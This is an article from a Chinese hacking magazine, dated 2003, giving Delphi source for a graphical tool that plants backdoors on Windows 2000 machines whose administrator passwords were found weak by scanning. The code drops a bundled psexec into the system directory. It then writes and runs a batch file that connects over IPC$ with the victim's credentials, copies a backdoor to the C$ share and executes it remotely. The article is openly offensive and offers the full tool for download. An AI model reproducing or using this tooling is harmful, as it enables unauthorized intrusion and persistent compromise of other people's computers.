编写一个能种植后门的程序
作者:sforever (发表于《黑客防线》2003年第8期)
写作此程序的目的:我们经常能够使用扫描软件扫描到很多windows 2000系统的弱口令用户,然而在得到这些用户名和密码后,安装后门的过程通常会变的很烦琐。需要在命令提示符下输入很多命令。我是一个很懒惰的人,很不习惯这样工作,并且这种工作也很浪费时间。并且我很喜欢使用有界面的程序,虽然这对于很多高手来说是可耻的 。
小榕的流光估计大家都用过,其中有一个功能,叫做“IPC种植者”。可以在得知对方管理员帐号和密码的情况下,轻松的种植一个后门到对方机器上。不过流光体积非常的庞大,如果是不固定上网的话,携带起来非常的不方便。并且现在流光正在更新版本,旧版本已经过期了。另外对于我个人来说,比较喜欢短小精干的软件。所以才促使我写一个比较适合自己的“种植者”软件。
写作前的分析:我知道流光是使用VC编写的,它首先通过跟远程主机建立好IPC连接通道,然后把后门程序拷贝到对方计算机上,再利用AT命令来启动后门程序。而我对VC并不了解,所以只好使用自己比较熟悉的DELPHI来写了。我曾经在网络上看到过一个远程安装后门的批处理文件。是一个叫“木狐”的网友写的。当时很受启发,我测试了一下,可以很好的实现类似“种植者”的功能,不过需要借助一款软件来达到目的——psexec.exe,psexec.exe的功能很强大,它可以远程执行对方计算机上的程序。不过话又说回来了“木狐”的东西也有很多不足之处,使用起来还是让我感觉很烦琐(比如涉及到的文件太多,对新手来说不知道运行那一个才好,另外还是脱离不了在命令提示符下使用)。结合上面的一些思路,我们可以使用DELPHI来编写一个具有图形界面的程序。但是此程序的主要运行过程是通过调用批处理文件来实现的(我当然没有小榕的编程功力,所以只好偷机取巧了)。
程序编写:因为我们程序运行时需要利用一个psexec.exe文件,所以我们最好把这个文件捆绑到我们程序的内部,当执行程序的时候,能自动释放一个psexec.exe文件出来,并且释放的位置最好是在系统目录。我经过测试,如果psexec.exe释放到其它目录,有时候程序运行会不成功。并且产生的批处理文件也要在系统目录下。
//首先要得到系统目录的路径
function GetWinDir: String;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>'/' then Result := Result + '/';
end;
//程序运行后,产生一个psexec.exe文件到系统目录中。在单元文件{$R *.dfm}后加上一句{$R psexec.RES} ,至于psexec.RES文件的产生的,我在这里不详细说了。大家可以看陈经韬的文章《谈Delphi编程中资源文件的应用》。
procedure TForm1.FormCreate(Sender: TObject);
function EXEResFile(const ResName,ResType,NewFile:String):Boolean;
var
Res : TResourceStream;
begin
Result:=True;
try
Res:= TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
try
Res.SavetoFile(NewFile);
finally
Res.Free;
end;
except
Result:=False;
end;
end;
function psexecFile(const NewFile:String):Boolean;
begin
Result:=EXEResFile('psexec','exefile',GetWinDir+NewFile);
end;
begin
if not(FileExists(GetWinDir+'psexec.exe')) then
psexecFile('psexec.exe');
end;
//程序的主要运行过程
BatchFileName := GetWinDir + 'run.bat';
AssignFile(BatchFile, BatchFileName);
Rewrite(BatchFile);
Writeln(BatchFile, '@ECHO off');
Writeln(BatchFile, '@ECHO ============================ZyNetIpc$==============================');
Writeln(BatchFile, '@ECHO');
Writeln(BatchFile, '@ECHO ==========By sforever Welcome to http://sforever.mycool.net========');
Writeln(BatchFile, '@net use //'+edit1.text+'/ipc$ "'+edit3.text+'" /user:"'+edit2.text+'"');
Writeln(BatchFile, '@copy '+edit4.text+' //'+edit1.text+'/c$');
Writeln(BatchFile, '@psexec //'+edit1.text+' c:/'+extractfilename(edit4.text)+'');
Writeln(BatchFile, '@net use //'+edit1.text+'/ipc$ /delete');
CloseFile(BatchFile);
CreateProcess(nil, PChar(BatchFileName), nil, nil,False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,ProcessInfo);
其中 edit1.text为对方的IP地址,edit2.text为对方的用户帐号,edit3.text为对方的用户密码,edit4.text为后门程序路径(本地)。通过代码我们可以看出来,程序运行时可以在系统目录下产生一个run.bat批处理文件,然后运行这个批处理文件并结合软件psexec来实现后门的种植。以上代码是拷贝后门程序到对方系统的C盘下,你也可以自行修改拷贝的位置。
最后总结:到此为止,我们的程序就写完了,我经过大量的测试,上面的方法的确很方便的实现了后门软件的种植。以下是我所写的程序界面:
如果对这款软件比较感兴趣的话,可以访问我的主页http://sforever.mycool.net 上面有完整的软件和源代码下载。